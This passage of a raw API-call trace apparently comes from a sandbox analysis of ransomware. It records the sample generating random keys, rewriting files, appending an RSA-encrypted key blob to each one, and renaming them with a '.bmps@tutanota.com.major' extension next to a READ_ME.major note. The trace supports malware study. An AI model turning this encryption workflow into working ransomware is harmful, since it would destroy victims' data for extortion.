(lpFileName="\\588bce7c90097ed212\\1031\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0134.637] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0134.637] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0134.637] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0134.637] CreateFileW (lpFileName="\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0134.638] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=82346) returned 1 [0134.638] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x141aa) returned 0x5ed868 [0134.638] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x141aa) returned 0x601a20 [0134.638] ReadFile (in: hFile=0x494, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x141aa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x141aa, lpOverlapped=0x0) returned 1 [0134.828] SetFilePointer (in: hFile=0x494, lDistanceToMove=-82346, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.828] WriteFile (in: hFile=0x494, lpBuffer=0x601a20*, nNumberOfBytesToWrite=0x141aa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x601a20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x141aa, lpOverlapped=0x0) returned 1 [0134.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0134.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x601a20 | out: hHeap=0x570000) returned 1 [0134.830] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x141aa [0134.830] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.830] WriteFile (in: hFile=0x494, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.830] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0134.830] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0134.831] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0134.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0134.831] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="/SzzFcb7U8C08nd34g1iotFX/9MCVrQjrdgKa1sc5ZLffypbFKHO5xFMmyZEeLDJ\n8rb0hQfpEVYjZB90iXQkfPAMjta22Bha+XxpGqtSVNHUxoRp+NSSzYWiV6eImfog\nG/Kl1XkK2cZwMG2R+5dnddML4hByFOvM0NeGJhoYrLXc3cH8a0sTAO0D5wCvgrIK\npfBegSlWbq4+d7eUo4QsRo2uaXEebkzsT0DBTaIo6Kd//XZwhOwDRx2C8D8exSFV\n/qj1LLeFUdPMzrYIWPjHrMtx88j6Uvi5yyy37NmPoN2d6Yr8AbDbfDIWJOQqKnXQ\nDWldDwzzD1a+nzN5dmKSjA==\n", pcchString=0x2e3f9a8) returned 1 [0134.831] WriteFile (in: hFile=0x494, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0134.832] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.832] WriteFile (in: hFile=0x494, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.832] CloseHandle (hObject=0x494) returned 1 [0134.833] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0134.833] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1031\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0134.835] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0134.835] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.835] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0134.835] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0134.835] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0134.835] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.835] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0134.835] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1031\\eula.rtf", dwFileAttributes=0x80) returned 1 [0134.835] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0134.835] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0134.836] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0134.836] CreateFileW (lpFileName="\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0134.836] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3419) returned 1 [0134.836] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd5b) returned 0x5ed868 [0134.836] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd5b) returned 0x5ee5d0 [0134.836] ReadFile (in: hFile=0x494, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xd5b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xd5b, lpOverlapped=0x0) returned 1 [0136.535] SetFilePointer (in: hFile=0x494, lDistanceToMove=-3419, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.535] WriteFile (in: hFile=0x494, lpBuffer=0x5ee5d0*, nNumberOfBytesToWrite=0xd5b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee5d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd5b, lpOverlapped=0x0) returned 1 [0136.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0136.593] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee5d0 | out: hHeap=0x570000) returned 1 [0136.593] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd5b [0136.593] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0136.593] WriteFile (in: hFile=0x494, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0136.594] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0136.594] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0136.594] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0136.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0136.594] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="vdycKHEE0hue5azSFPcxZk0tcKt1nSHOvLHcC/snAJNJ7AT5aQGN8Rejq4Jao2v7\nhuTfCDZnjzU7gwf9+IbRP7deC67oK2tYwYdgTO6E5sM/upMl4/qixNCIZ9W1ki0e\n30ytg/Dk+C99WewsB3YmGwbBrcqvvlTOyERWzlCO/ICh54PhN8w00O1izl7cyTjf\no8inftYQmWdxYD5PMFKIlGurvyXzEAkzkZJbVObCALPHYwaLQU5/Oj2WE6OdLBuU\ntHPnacEX6BpeEA6OVDrZly/ExUKDEyD6mG/0+R7t8G5fFWihHAYJUmiqE/TBKVjM\nVXXeA68UNnxh13+NkEC9HA==\n", pcchString=0x2e3f9a8) returned 1 [0136.594] WriteFile (in: hFile=0x494, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0136.594] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0136.594] WriteFile (in: hFile=0x494, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0136.594] CloseHandle (hObject=0x494) returned 1 [0136.595] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0136.595] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1031\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0136.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0136.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0136.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0136.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0136.596] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0136.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0136.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0136.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1130 | out: hHeap=0x570000) returned 1 [0136.597] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffddfc47, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3290 [0136.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0136.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0136.597] GetLastError () returned 0x0 [0136.597] SetLastError (dwErrCode=0x0) [0136.597] GetLastError () returned 0x0 [0136.597] SetLastError (dwErrCode=0x0) [0136.597] GetLastError () returned 0x0 [0136.597] SetLastError (dwErrCode=0x0) [0136.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecb8 [0136.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0136.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0136.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0136.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b54b0 [0136.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b54b0 | out: hHeap=0x570000) returned 1 [0136.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0136.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0136.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0136.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecb8 | out: hHeap=0x570000) returned 1 [0136.597] FindNextFileW (in: hFindFile=0x5a3290, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffddfc47, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0136.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0136.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0136.597] GetLastError () returned 0x0 [0136.598] SetLastError (dwErrCode=0x0) [0136.598] GetLastError () returned 0x0 [0136.598] SetLastError (dwErrCode=0x0) [0136.598] GetLastError () returned 0x0 [0136.598] SetLastError (dwErrCode=0x0) [0136.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef90 [0136.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0136.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0136.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0136.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5570 [0136.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5570 | out: hHeap=0x570000) returned 1 [0136.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0136.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0136.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0136.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0136.598] FindNextFileW (in: hFindFile=0x5a3290, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0136.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0136.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0136.598] GetLastError () returned 0x0 [0136.598] SetLastError (dwErrCode=0x0) [0136.598] GetLastError () returned 0x0 [0136.598] SetLastError (dwErrCode=0x0) [0136.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0136.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0136.598] GetLastError () returned 0x0 [0136.598] SetLastError (dwErrCode=0x0) [0136.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0136.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0136.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0136.599] FindNextFileW (in: hFindFile=0x5a3290, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0136.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0136.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0136.599] GetLastError () returned 0x0 [0136.599] SetLastError (dwErrCode=0x0) [0136.599] GetLastError () returned 0x0 [0136.599] SetLastError (dwErrCode=0x0) [0136.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0136.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0136.599] GetLastError () returned 0x0 [0136.599] SetLastError (dwErrCode=0x0) [0136.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0136.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0136.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0136.599] FindNextFileW (in: hFindFile=0x5a3290, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffc8868f, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffc8868f, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffddfc47, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0136.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0136.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0136.599] GetLastError () returned 0x0 [0136.599] SetLastError (dwErrCode=0x0) [0136.599] GetLastError () returned 0x0 [0136.599] SetLastError (dwErrCode=0x0) [0136.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0136.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0136.600] GetLastError () returned 0x0 [0136.600] SetLastError (dwErrCode=0x0) [0136.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0136.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0136.600] FindNextFileW (in: hFindFile=0x5a3290, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0136.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0136.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0136.600] GetLastError () returned 0x0 [0136.600] SetLastError (dwErrCode=0x0) [0136.600] GetLastError () returned 0x0 [0136.600] SetLastError (dwErrCode=0x0) [0136.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0136.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0136.600] GetLastError () returned 0x0 [0136.600] SetLastError (dwErrCode=0x0) [0136.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0136.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0136.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0136.600] FindNextFileW (in: hFindFile=0x5a3290, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0136.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0136.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0136.600] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0136.600] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1032\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0136.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0136.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0136.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0136.601] CreateFileW (lpFileName="\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498 [0136.601] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=19288) returned 1 [0136.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4b58) returned 0x5ed868 [0136.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4b58) returned 0x5f23c8 [0136.601] ReadFile (in: hFile=0x498, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4b58, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4b58, lpOverlapped=0x0) returned 1 [0136.672] SetFilePointer (in: hFile=0x498, lDistanceToMove=-19288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.672] WriteFile (in: hFile=0x498, lpBuffer=0x5f23c8*, nNumberOfBytesToWrite=0x4b58, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f23c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4b58, lpOverlapped=0x0) returned 1 [0136.672] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0136.672] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f23c8 | out: hHeap=0x570000) returned 1 [0136.673] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4b58 [0136.673] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0136.673] WriteFile (in: hFile=0x498, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0136.673] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0136.673] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0136.674] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0136.674] 